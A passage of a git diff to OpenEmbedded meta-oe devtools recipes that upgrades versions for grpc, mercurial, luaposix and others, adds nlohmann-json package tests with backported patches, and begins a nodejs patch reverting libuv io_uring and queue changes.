--- a/meta-openembedded/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb
@@ -4,7 +4,7 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "git://github.com/ubinux/dnf-plugin-tui.git;branch=master;protocol=https"
-SRCREV = "83917a3935ac7ce1d8d96e914d96a6679319a336"
+SRCREV = "baac322a8a6d57e62c703f6ed523152baec18b4f"
PV = "1.3"
SRC_URI:append:class-target = " file://oe-remote.repo.sample"
@@ -42,6 +42,6 @@ RDEPENDS:${PN} += " \
dnf \
libnewt-python \
"
-DEPENDS:append:class-nativesdk = " file-replacement-nativesdk"
BBCLASSEXTEND = "nativesdk"
+
SKIP_RECIPE[dnf-plugin-tui] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build correctly without package_rpm in PACKAGE_CLASSES', d)}"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/glade/glade_3.22.2.bb b/meta-openembedded/meta-oe/recipes-devtools/glade/glade_3.22.2.bb
index 28b1279390..3936e04c6d 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/glade/glade_3.22.2.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/glade/glade_3.22.2.bb
@@ -8,7 +8,7 @@ DEPENDS = "gtk+3 glib-2.0 libxml2 intltool-native \
gnome-common-native \
autoconf-archive-native \
"
-
+GNOMEBASEBUILDCLASS = "autotools"
inherit features_check autotools pkgconfig gnomebase gobject-introspection mime-xdg
# xfce4 depends on libwnck3, gtk+3 and libepoxy need to be built with x11 PACKAGECONFIG.
diff --git a/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc/0001-cmake-Link-with-libatomic-on-rv32-rv64.patch b/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc/0001-cmake-Link-with-libatomic-on-rv32-rv64.patch
index c2afd4a92e..fbdf06d692 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc/0001-cmake-Link-with-libatomic-on-rv32-rv64.patch
+++ b/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc/0001-cmake-Link-with-libatomic-on-rv32-rv64.patch
@@ -1,4 +1,4 @@
-From 592a4aaba20818bcff9a1448c34b09aff9e0d2e9 Mon Sep 17 00:00:00 2001
+From c321f19ff1cd1251c19d20b17a2d86c4237ce506 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 19 Apr 2022 16:07:19 -0700
Subject: [PATCH] cmake: Link with libatomic on rv32/rv64
@@ -9,15 +9,16 @@ riscv64-yoe-linux-musl/12.0.1/ld: libgrpc.so.23.0.0: undefined reference to `__a
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
CMakeLists.txt | 3 +++
1 file changed, 3 insertions(+)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index a8fd3bf37b3..9f5b242683d 100644
+index b272816685..e1fe1102c4 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -303,6 +303,9 @@ if(UNIX)
+@@ -303,6 +303,9 @@ if(UNIX AND NOT HAIKU)
if(_gRPC_PLATFORM_LINUX OR _gRPC_PLATFORM_POSIX)
set(_gRPC_ALLTARGETS_LIBRARIES ${_gRPC_ALLTARGETS_LIBRARIES} rt)
endif()
@@ -26,7 +27,4 @@ index a8fd3bf37b3..9f5b242683d 100644
+ endif()
endif()
- # configure ccache if requested
---
-2.36.0
-
+ include(CheckCXXSourceCompiles)
diff --git a/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.56.2.bb b/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.59.2.bb
index c4dd6b9857..c30e52263d 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.56.2.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.59.2.bb
@@ -20,8 +20,8 @@ RDEPENDS:${PN}-dev:append:class-native = " ${PN}-compiler"
# RDEPENDS:${PN}-dev += "${PN}-compiler"
S = "${WORKDIR}/git"
-SRCREV_grpc = "c0d1c393d9365664d47df41746e992ae97b651ef"
-BRANCH = "v1.56.x"
+SRCREV_grpc = "883e5f76976b86afee87415dc67bde58d9b295a4"
+BRANCH = "v1.59.x"
SRC_URI = "gitsm://github.com/grpc/grpc.git;protocol=https;name=grpc;branch=${BRANCH} \
file://0001-cmake-Link-with-libatomic-on-rv32-rv64.patch \
"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.20.5.bb b/meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.22.7.bb
index 6b7775c1c0..50d45ef57b 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.20.5.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.22.7.bb
@@ -18,9 +18,11 @@ inherit meson pkgconfig upstream-version-is-even gobject-introspection features_
EXTRA_OEMESON = "-Dvalidate=disabled"
SRC_URI = "http://gstreamer.freedesktop.org/src/gst-editing-services/gst-editing-services-${PV}.tar.xz"
-SRC_URI[sha256sum] = "363f2b13675877b926b4be5259dbbeea8cc976805b40c871fc254bb8f382017d"
+SRC_URI[sha256sum] = "fec56a2c37a253cd048d288d4c7eda6eff191022b09db975e07a2c105d1b521e"
PACKAGES += "gst-validate-launcher libges"
FILES:gst-validate-launcher = "${nonarch_libdir}/gst-validate-launcher ${datadir}/gstreamer-1.0/validate"
FILES:libges = "${libdir}/gstreamer-1.0/*.so"
+
+FILES:${PN} += "/usr/lib/python${PYTHON_BASEVERSION}"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/heaptrack/heaptrack_1.2.0.bb b/meta-openembedded/meta-oe/recipes-devtools/heaptrack/heaptrack_1.2.0.bb
index 29937e26d0..be2c0f5394 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/heaptrack/heaptrack_1.2.0.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/heaptrack/heaptrack_1.2.0.bb
@@ -29,4 +29,4 @@ EXTRA_OECMAKE += "-DHEAPTRACK_BUILD_GUI=OFF"
COMPATIBLE_HOST:riscv32 = "null"
COMPATIBLE_HOST:riscv64 = "null"
-BBCLASSEXTEND = "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/libgee/libgee_0.20.6.bb b/meta-openembedded/meta-oe/recipes-devtools/libgee/libgee_0.20.6.bb
index f7b54b9b09..0ed6e8235d 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/libgee/libgee_0.20.6.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/libgee/libgee_0.20.6.bb
@@ -8,7 +8,7 @@ BBCLASSEXTEND = "native"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
-PE = "1"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase vala gobject-introspection
do_configure:prepend() {
diff --git a/meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_35.1.bb b/meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_36.2.1.bb
index a71bbebf70..1d27eb2588 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_35.1.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_36.2.1.bb
@@ -1,13 +1,13 @@
DESCRIPTION = "luaposix is a POSIX binding for Lua."
LICENSE = "MIT"
HOMEPAGE = "https://github.com/luaposix/luaposix"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=f81069e00c0cad249f20efe958276db1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f30d022f6ef53952fa87cc0b6fffb153"
DEPENDS += "lua-native lua virtual/crypt"
-SRC_URI = "git://github.com/luaposix/luaposix.git;branch=release-v${PV};protocol=https \
+SRC_URI = "git://github.com/luaposix/luaposix.git;branch=release-v36.2;protocol=https \
"
-SRCREV = "14043c5086ae738823a5dfbc9170d9e14193fbef"
+SRCREV = "5a8d8c768fc3c51f42cb591e9523a60399efc6a1"
S = "${WORKDIR}/git"
LUA_VERSION = "5.4"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.1.bb b/meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.5.bb
index a415ebc1e8..112df8c1e8 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.1.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.5.bb
@@ -10,7 +10,7 @@ RDEPENDS:${PN} = "python3 python3-modules"
inherit python3native python3targetconfig
SRC_URI = "https://www.mercurial-scm.org/release/${BP}.tar.gz"
-SRC_URI[sha256sum] = "86f98645e4565a9256991dcde22b77b8e7d22ca6fbb60c1f4cdbd8469a38cc1f"
+SRC_URI[sha256sum] = "a5603d0d395ebf67fe5d27abbb3bd37fcc01871ecf394c793672d2c1e68be7e7"
S = "${WORKDIR}/mercurial-${PV}"
@@ -31,7 +31,6 @@ do_install () {
}
PACKAGES =+ "${PN}-python"
-FILES:${PN} += "${PYTHON_SITEPACKAGES_DIR}"
-
+FILES:${PN} += "${PYTHON_SITEPACKAGES_DIR} ${datadir}"
FILES:${PN}-python = "${nonarch_libdir}/${PYTHON_DIR}"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-custom-allocators-define-missing-rebind-type-3895.patch b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-custom-allocators-define-missing-rebind-type-3895.patch
new file mode 100644
index 0000000000..d964586c1c
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-custom-allocators-define-missing-rebind-type-3895.patch
@@ -0,0 +1,61 @@
+From 6cec5aefc97ad219b6fd5a4132f88f7c8f6800ee Mon Sep 17 00:00:00 2001
+From: Sergei Trofimovich <slyich@gmail.com>
+Date: Wed, 8 Mar 2023 11:31:56 +0000
+Subject: [PATCH] custom allocators: define missing 'rebind' type (#3895)
+
+Upstream-Status: Backport [https://github.com/nlohmann/json/commit/6cec5aefc97ad219b6fd5a4132f88f7c8f6800ee]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ tests/src/unit-allocator.cpp | 9 +++++++++
+ tests/src/unit-regression2.cpp | 9 +++++++++
+ 2 files changed, 18 insertions(+)
+
+diff --git a/tests/src/unit-allocator.cpp b/tests/src/unit-allocator.cpp
+index 76e3b03f..f2e63552 100644
+--- a/tests/src/unit-allocator.cpp
++++ b/tests/src/unit-allocator.cpp
+@@ -20,11 +20,20 @@ struct bad_allocator : std::allocator<T>
+ {
+ using std::allocator<T>::allocator;
+
++ bad_allocator() = default;
++ template<class U> bad_allocator(const bad_allocator<U>& /*unused*/) { }
++
+ template<class... Args>
+ void construct(T* /*unused*/, Args&& ... /*unused*/)
+ {
+ throw std::bad_alloc();
+ }
++
++ template <class U>
++ struct rebind
++ {
++ using other = bad_allocator<U>;
++ };
+ };
+ } // namespace
+
+diff --git a/tests/src/unit-regression2.cpp b/tests/src/unit-regression2.cpp
+index 2bb9b32e..dbafb436 100644
+--- a/tests/src/unit-regression2.cpp
++++ b/tests/src/unit-regression2.cpp
+@@ -189,6 +189,15 @@ class my_allocator : public std::allocator<T>
+ {
+ public:
+ using std::allocator<T>::allocator;
++
++ my_allocator() = default;
++ template<class U> my_allocator(const my_allocator<U>& /*unused*/) { }
++
++ template <class U>
++ struct rebind
++ {
++ using other = my_allocator<U>;
++ };
+ };
+
+ /////////////////////////////////////////////////////////////////////
+--
+2.25.1
+
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-tests-unit-iterators2-use-std-ranges-equals-for-rang.patch b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-tests-unit-iterators2-use-std-ranges-equals-for-rang.patch
new file mode 100644
index 0000000000..463912e4b6
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-tests-unit-iterators2-use-std-ranges-equals-for-rang.patch
@@ -0,0 +1,31 @@
+From 660d0b58565073975d6f5d94365d6cbf150a4cf8 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Arsen=20Arsenovi=C4=87?= <arsen@aarsen.me>
+Date: Sun, 5 Mar 2023 14:11:22 +0100
+Subject: [PATCH] tests/unit-iterators2: use std::ranges::equals for range
+ comparisons (#3950)
+
+Closes https://github.com/nlohmann/json/issues/3927
+
+Upstream-Status: Backport [https://github.com/nlohmann/json/commit/660d0b58565073975d6f5d94365d6cbf150a4cf8]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ tests/src/unit-iterators2.cpp | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/src/unit-iterators2.cpp b/tests/src/unit-iterators2.cpp
+index 27926084..72a5d9dc 100644
+--- a/tests/src/unit-iterators2.cpp
++++ b/tests/src/unit-iterators2.cpp
+@@ -943,7 +943,7 @@ TEST_CASE("iterators 2")
+ json j_expected{5, 4, 3, 2, 1};
+
+ auto reversed = j | std::views::reverse;
+- CHECK(reversed == j_expected);
++ CHECK(std::ranges::equal(reversed, j_expected));
+ }
+
+ SECTION("transform")
+--
+2.25.1
+
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/run-ptest b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/run-ptest
new file mode 100755
index 0000000000..2f00267d50
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/run-ptest
@@ -0,0 +1,12 @@
+#!/bin/sh
+
+cd tests
+for atest in test-* ; do
+ rm -rf tests.log
+ ./${atest} > tests.log 2>&1
+ if [ $? = 0 ] ; then
+ echo "PASS: ${atest}"
+ else
+ echo "FAIL: ${atest}"
+ fi
+done
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/nlohmann-json_3.11.2.bb b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/nlohmann-json_3.11.2.bb
index 74e40942a5..694d632cb1 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/nlohmann-json_3.11.2.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/nlohmann-json_3.11.2.bb
@@ -7,22 +7,38 @@ LIC_FILES_CHKSUM = "file://LICENSE.MIT;md5=f969127d7b7ed0a8a63c2bbeae002588"
CVE_PRODUCT = "json-for-modern-cpp"
SRC_URI = "git://github.com/nlohmann/json.git;branch=develop;protocol=https \
- "
+ git://github.com/nlohmann/json_test_data.git;destsuffix=git/json_test_data;name=json-test-data;branch=master;protocol=https \
+ file://0001-custom-allocators-define-missing-rebind-type-3895.patch \
+ file://0001-tests-unit-iterators2-use-std-ranges-equals-for-rang.patch \
+ file://run-ptest \
+"
SRCREV = "bc889afb4c5bf1c0d8ee29ef35eaaf4c8bef8a5d"
+SRCREV_json-test-data = "a1375cea09d27cc1c4cadb8d00470375b421ac37"
+
+SRCREV_FORMAT = "json-test-data"
S = "${WORKDIR}/git"
-inherit cmake
+inherit cmake ptest
-EXTRA_OECMAKE += "-DJSON_BuildTests=OFF"
+EXTRA_OECMAKE += "${@bb.utils.contains('PTEST_ENABLED', '1', '-DJSON_BuildTests=ON -DJSON_TestDataDirectory=${PTEST_PATH}/json_test_data', '-DJSON_BuildTests=OFF', d)}"
# nlohmann-json is a header only C++ library, so the main package will be empty.
ALLOW_EMPTY:${PN} = "1"
RDEPENDS:${PN}-dev = ""
+RDEPENDS:${PN}-ptest = "perl"
BBCLASSEXTEND = "native nativesdk"
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/json_test_data/ ${D}${PTEST_PATH}/
+ cp -r ${B}/tests/test-* ${D}${PTEST_PATH}/tests
+}
+
+
# other packages commonly reference the file directly as "json.hpp"
# create symlink to allow this usage
do_install:append() {
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0001-Revert-io_uring-changes-from-libuv-1.46.0.patch b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0001-Revert-io_uring-changes-from-libuv-1.46.0.patch
new file mode 100644
index 0000000000..d98463d0d8
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0001-Revert-io_uring-changes-from-libuv-1.46.0.patch
@@ -0,0 +1,3414 @@
+From 937dfa70104b7401a7570a98cf6e0a534e250557 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Wed, 18 Oct 2023 22:43:55 +0200
+Subject: [PATCH] Revert io_uring changes from libuv-1.46.0
+
+Included in nodejs-20.4.0 with the libuv upgrade to 1.46.0 in:
+https://github.com/nodejs/node/commit/6199e1946c9abd59bd71a61870a4f6c85e100b18
+
+Revert "linux: work around io_uring IORING_OP_CLOSE bug (#4059)"
+This reverts commit 1752791c9ea89dbf54e2a20a9d9f899119a2d179.
+Revert "linux: fs_read to use io_uring if iovcnt > IOV_MAX (#4023)"
+This reverts commit e7b96331703e929e75d93c574573c9736e34b0c0.
+Revert "linux: add some more iouring backed fs ops (#4012)"
+This reverts commit 962b8e626ceaaf296eecab1d008e8b70dc6da5e7.
+Revert "android: disable io_uring support (#4016)"
+This reverts commit 281e6185cc9e77c582ff6ca9e4c00d57e6b90d95.
+Revert "unix,win: replace QUEUE with struct uv__queue (#4022)"
+This reverts commit 1b01b786c0180d29f07dccbb98001a2b3148828a.
+Revert "fs: use WTF-8 on Windows (#2970)"
+This reverts commit 8f32a14afaaa47514a7d28e1e069a8329e2dd939.
+
+Dropped deps/uv/docs deps/uv/test changes as these dirs aren't included
+in nodejs tarballs.
+
+Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
+---
+Upstream-Status: Inappropriate [OE specific]
+
+ deps/uv/include/uv.h | 10 +-
+ deps/uv/include/uv/darwin.h | 6 +-
+ deps/uv/include/uv/linux.h | 2 +-
+ deps/uv/include/uv/threadpool.h | 2 +-
+ deps/uv/include/uv/unix.h | 44 ++--
+ deps/uv/include/uv/win.h | 4 +-
+ deps/uv/src/queue.h | 154 ++++++-----
+ deps/uv/src/threadpool.c | 72 +++---
+ deps/uv/src/unix/aix.c | 14 +-
+ deps/uv/src/unix/async.c | 52 ++--
+ deps/uv/src/unix/core.c | 53 ++--
+ deps/uv/src/unix/fs.c | 41 +--
+ deps/uv/src/unix/fsevents.c | 84 +++---
+ deps/uv/src/unix/internal.h | 11 -
+ deps/uv/src/unix/kqueue.c | 18 +-
+ deps/uv/src/unix/linux.c | 257 +++----------------
+ deps/uv/src/unix/loop-watcher.c | 20 +-
+ deps/uv/src/unix/loop.c | 28 +-
+ deps/uv/src/unix/os390-syscalls.c | 24 +-
+ deps/uv/src/unix/os390-syscalls.h | 2 +-
+ deps/uv/src/unix/os390.c | 14 +-
+ deps/uv/src/unix/pipe.c | 2 +-
+ deps/uv/src/unix/posix-poll.c | 14 +-
+ deps/uv/src/unix/process.c | 38 +--
+ deps/uv/src/unix/signal.c | 8 +-
+ deps/uv/src/unix/stream.c | 56 ++--
+ deps/uv/src/unix/sunos.c | 18 +-
+ deps/uv/src/unix/tcp.c | 4 +-
+ deps/uv/src/unix/tty.c | 2 +-
+ deps/uv/src/unix/udp.c | 76 +++---
+ deps/uv/src/uv-common.c | 28 +-
+ deps/uv/src/uv-common.h | 3 +-
+ deps/uv/src/win/core.c | 6 +-
+ deps/uv/src/win/fs.c | 311 ++++++++---------------
+ deps/uv/src/win/handle-inl.h | 2 +-
+ deps/uv/src/win/pipe.c | 26 +-
+ deps/uv/src/win/tcp.c | 4 +-
+ deps/uv/src/win/udp.c | 4 +-
+ deps/uv/test/test-fs.c | 53 ----
+ deps/uv/test/test-list.h | 2 -
+ deps/uv/test/test-queue-foreach-delete.c | 5 +-
+ deps/uv/test/test-threadpool-cancel.c | 5 -
+ 42 files changed, 625 insertions(+), 954 deletions(-)
+
+diff --git a/deps/uv/include/uv.h b/deps/uv/include/uv.h
+index 02397dd0fdd..1af95289776 100644
+--- a/deps/uv/include/uv.h
++++ b/deps/uv/include/uv.h
+@@ -59,12 +59,6 @@ extern "C" {
+ #include <stdio.h>
+ #include <stdint.h>
+
+-/* Internal type, do not use. */
+-struct uv__queue {
+- struct uv__queue* next;
+- struct uv__queue* prev;
+-};
+-
+ #if defined(_WIN32)
+ # include "uv/win.h"
+ #else
+@@ -466,7 +460,7 @@ struct uv_shutdown_s {
+ uv_handle_type type; \
+ /* private */ \
+ uv_close_cb close_cb; \
+- struct uv__queue handle_queue; \
++ void* handle_queue[2]; \
+ union { \
+ int fd; \
+ void* reserved[4]; \
+@@ -1870,7 +1864,7 @@ struct uv_loop_s {
+ void* data;
+ /* Loop reference counting. */
+ unsigned int active_handles;
+- struct uv__queue handle_queue;
++ void* handle_queue[2];
+ union {
+ void* unused;
+ unsigned int count;
+diff --git a/deps/uv/include/uv/darwin.h b/deps/uv/include/uv/darwin.h
+index 06962bfda80..d226415820b 100644
+--- a/deps/uv/include/uv/darwin.h
++++ b/deps/uv/include/uv/darwin.h
+@@ -40,7 +40,7 @@
+ void* cf_state; \
+ uv_mutex_t cf_mutex; \
+ uv_sem_t cf_sem; \
+- struct uv__queue cf_signals; \
++ void* cf_signals[2]; \
+
+ #define UV_PLATFORM_FS_EVENT_FIELDS \
+ uv__io_t event_watcher; \
+@@ -48,8 +48,8 @@
+ int realpath_len; \
+ int cf_flags; \
+ uv_async_t* cf_cb; \
+- struct uv__queue cf_events; \
+- struct uv__queue cf_member; \
++ void* cf_events[2]; \
++ void* cf_member[2]; \
+ int cf_error; \
+ uv_mutex_t cf_mutex; \
+
+diff --git a/deps/uv/include/uv/linux.h b/deps/uv/include/uv/linux.h
+index 9f22f8cf726..9b38405a190 100644
+--- a/deps/uv/include/uv/linux.h
++++ b/deps/uv/include/uv/linux.h
+@@ -28,7 +28,7 @@
+ int inotify_fd; \
+
+ #define UV_PLATFORM_FS_EVENT_FIELDS \
+- struct uv__queue watchers; \
++ void* watchers[2]; \
+ int wd; \
+
+ #endif /* UV_LINUX_H */
+diff --git a/deps/uv/include/uv/threadpool.h b/deps/uv/include/uv/threadpool.h
+index 24ce916fda4..9708ebdd530 100644
+--- a/deps/uv/include/uv/threadpool.h
++++ b/deps/uv/include/uv/threadpool.h
+@@ -31,7 +31,7 @@ struct uv__work {
+ void (*work)(struct uv__work *w);
+ void (*done)(struct uv__work *w, int status);
+ struct uv_loop_s* loop;
+- struct uv__queue wq;
++ void* wq[2];
+ };
+
+ #endif /* UV_THREADPOOL_H_ */
+diff --git a/deps/uv/include/uv/unix.h b/deps/uv/include/uv/unix.h
+index 09f88a56742..95447b8dd67 100644
+--- a/deps/uv/include/uv/unix.h
++++ b/deps/uv/include/uv/unix.h
+@@ -92,8 +92,8 @@ typedef struct uv__io_s uv__io_t;
+
+ struct uv__io_s {
+ uv__io_cb cb;
+- struct uv__queue pending_queue;
+- struct uv__queue watcher_queue;
++ void* pending_queue[2];
++ void* watcher_queue[2];
+ unsigned int pevents; /* Pending event mask i.e. mask at next tick. */
+ unsigned int events; /* Current event mask. */
+ int fd;
+@@ -220,21 +220,21 @@ typedef struct {
+ #define UV_LOOP_PRIVATE_FIELDS \
+ unsigned long flags; \
+ int backend_fd; \
+- struct uv__queue pending_queue; \
+- struct uv__queue watcher_queue; \
++ void* pending_queue[2]; \
++ void* watcher_queue[2]; \
+ uv__io_t** watchers; \
+ unsigned int nwatchers; \
+ unsigned int nfds; \
+- struct uv__queue wq; \
++ void* wq[2]; \
+ uv_mutex_t wq_mutex; \
+ uv_async_t wq_async; \
+ uv_rwlock_t cloexec_lock; \
+ uv_handle_t* closing_handles; \
+- struct uv__queue process_handles; \
+- struct uv__queue prepare_handles; \
+- struct uv__queue check_handles; \
+- struct uv__queue idle_handles; \
+- struct uv__queue async_handles; \
++ void* process_handles[2]; \
++ void* prepare_handles[2]; \
++ void* check_handles[2]; \
++ void* idle_handles[2]; \
++ void* async_handles[2]; \
+ void (*async_unused)(void); /* TODO(bnoordhuis) Remove in libuv v2. */ \
+ uv__io_t async_io_watcher; \
+ int async_wfd; \
+@@ -257,7 +257,7 @@ typedef struct {
+ #define UV_PRIVATE_REQ_TYPES /* empty */
+
+ #define UV_WRITE_PRIVATE_FIELDS \
+- struct uv__queue queue; \
++ void* queue[2]; \
+ unsigned int write_index; \
+ uv_buf_t* bufs; \
+ unsigned int nbufs; \
+@@ -265,12 +265,12 @@ typedef struct {
+ uv_buf_t bufsml[4]; \
+
+ #define UV_CONNECT_PRIVATE_FIELDS \
+- struct uv__queue queue; \
++ void* queue[2]; \
+
+ #define UV_SHUTDOWN_PRIVATE_FIELDS /* empty */
+
+ #define UV_UDP_SEND_PRIVATE_FIELDS \
+- struct uv__queue queue; \
++ void* queue[2]; \
+ struct sockaddr_storage addr; \
+ unsigned int nbufs; \
+ uv_buf_t* bufs; \
+@@ -286,8 +286,8 @@ typedef struct {
+ uv_connect_t *connect_req; \
+ uv_shutdown_t *shutdown_req; \
+ uv__io_t io_watcher; \
+- struct uv__queue write_queue; \
+- struct uv__queue write_completed_queue; \
++ void* write_queue[2]; \
++ void* write_completed_queue[2]; \
+ uv_connection_cb connection_cb; \
+ int delayed_error; \
+ int accepted_fd; \
+@@ -300,8 +300,8 @@ typedef struct {
+ uv_alloc_cb alloc_cb; \
+ uv_udp_recv_cb recv_cb; \
+ uv__io_t io_watcher; \
+- struct uv__queue write_queue; \
+- struct uv__queue write_completed_queue; \
++ void* write_queue[2]; \
++ void* write_completed_queue[2]; \
+
+ #define UV_PIPE_PRIVATE_FIELDS \
+ const char* pipe_fname; /* NULL or strdup'ed */
+@@ -311,19 +311,19 @@ typedef struct {
+
+ #define UV_PREPARE_PRIVATE_FIELDS \
+ uv_prepare_cb prepare_cb; \
+- struct uv__queue queue; \
++ void* queue[2]; \
+
+ #define UV_CHECK_PRIVATE_FIELDS \
+ uv_check_cb check_cb; \
+- struct uv__queue queue; \
++ void* queue[2]; \
+
+ #define UV_IDLE_PRIVATE_FIELDS \
+ uv_idle_cb idle_cb; \
+- struct uv__queue queue; \
++ void* queue[2]; \
+
+ #define UV_ASYNC_PRIVATE_FIELDS \
+ uv_async_cb async_cb; \
+- struct uv__queue queue; \
++ void* queue[2]; \
+ int pending; \
+
+ #define UV_TIMER_PRIVATE_FIELDS \
+@@ -352,7 +352,7 @@ typedef struct {
+ int retcode;
+
+ #define UV_PROCESS_PRIVATE_FIELDS \
+- struct uv__queue queue; \
++ void* queue[2]; \
+ int status; \
+
+ #define UV_FS_PRIVATE_FIELDS \
+diff --git a/deps/uv/include/uv/win.h b/deps/uv/include/uv/win.h
+index 6f8c47298e4..92a95fa15f1 100644
+--- a/deps/uv/include/uv/win.h
++++ b/deps/uv/include/uv/win.h
+@@ -357,7 +357,7 @@ typedef struct {
+ /* Counter to started timer */ \
+ uint64_t timer_counter; \
+ /* Threadpool */ \
+- struct uv__queue wq; \
++ void* wq[2]; \
+ uv_mutex_t wq_mutex; \
+ uv_async_t wq_async;
+
+@@ -486,7 +486,7 @@ typedef struct {
+ uint32_t payload_remaining; \
+ uint64_t dummy; /* TODO: retained for ABI compat; remove this in v2.x. */ \
+ } ipc_data_frame; \
+- struct uv__queue ipc_xfer_queue; \
++ void* ipc_xfer_queue[2]; \
+ int ipc_xfer_queue_length; \
+ uv_write_t* non_overlapped_writes_tail; \
+ CRITICAL_SECTION readfile_thread_lock; \
+diff --git a/deps/uv/src/queue.h b/deps/uv/src/queue.h
+index 5f8489e9bc5..ff3540a0a51 100644
+--- a/deps/uv/src/queue.h
++++ b/deps/uv/src/queue.h
+@@ -18,73 +18,91 @@
+
+ #include <stddef.h>
+
+-#define uv__queue_data(pointer, type, field) \
+- ((type*) ((char*) (pointer) - offsetof(type, field)))
+-
+-#define uv__queue_foreach(q, h) \
+- for ((q) = (h)->next; (q) != (h); (q) = (q)->next)
+-
+-static inline void uv__queue_init(struct uv__queue* q) {
+- q->next = q;
+- q->prev = q;
+-}
+-
+-static inline int uv__queue_empty(const struct uv__queue* q) {
+- return q == q->next;
+-}
+-
+-static inline struct uv__queue* uv__queue_head(const struct uv__queue* q) {
+- return q->next;
+-}
+-
+-static inline struct uv__queue* uv__queue_next(const struct uv__queue* q) {
+- return q->next;
+-}
+-
+-static inline void uv__queue_add(struct uv__queue* h, struct uv__queue* n) {
+- h->prev->next = n->next;
+- n->next->prev = h->prev;
+- h->prev = n->prev;
+- h->prev->next = h;
+-}
+-
+-static inline void uv__queue_split(struct uv__queue* h,
+- struct uv__queue* q,
+- struct uv__queue* n) {
+- n->prev = h->prev;
+- n->prev->next = n;
+- n->next = q;
+- h->prev = q->prev;
+- h->prev->next = h;
+- q->prev = n;
+-}
+-
+-static inline void uv__queue_move(struct uv__queue* h, struct uv__queue* n) {
+- if (uv__queue_empty(h))
+- uv__queue_init(n);
+- else
+- uv__queue_split(h, h->next, n);
+-}
+-
+-static inline void uv__queue_insert_head(struct uv__queue* h,
+- struct uv__queue* q) {
+- q->next = h->next;
+- q->prev = h;
+- q->next->prev = q;
+- h->next = q;
+-}
+-
+-static inline void uv__queue_insert_tail(struct uv__queue* h,
+- struct uv__queue* q) {
+- q->next = h;
+- q->prev = h->prev;
+- q->prev->next = q;
+- h->prev = q;
+-}
+-
+-static inline void uv__queue_remove(struct uv__queue* q) {
+- q->prev->next = q->next;
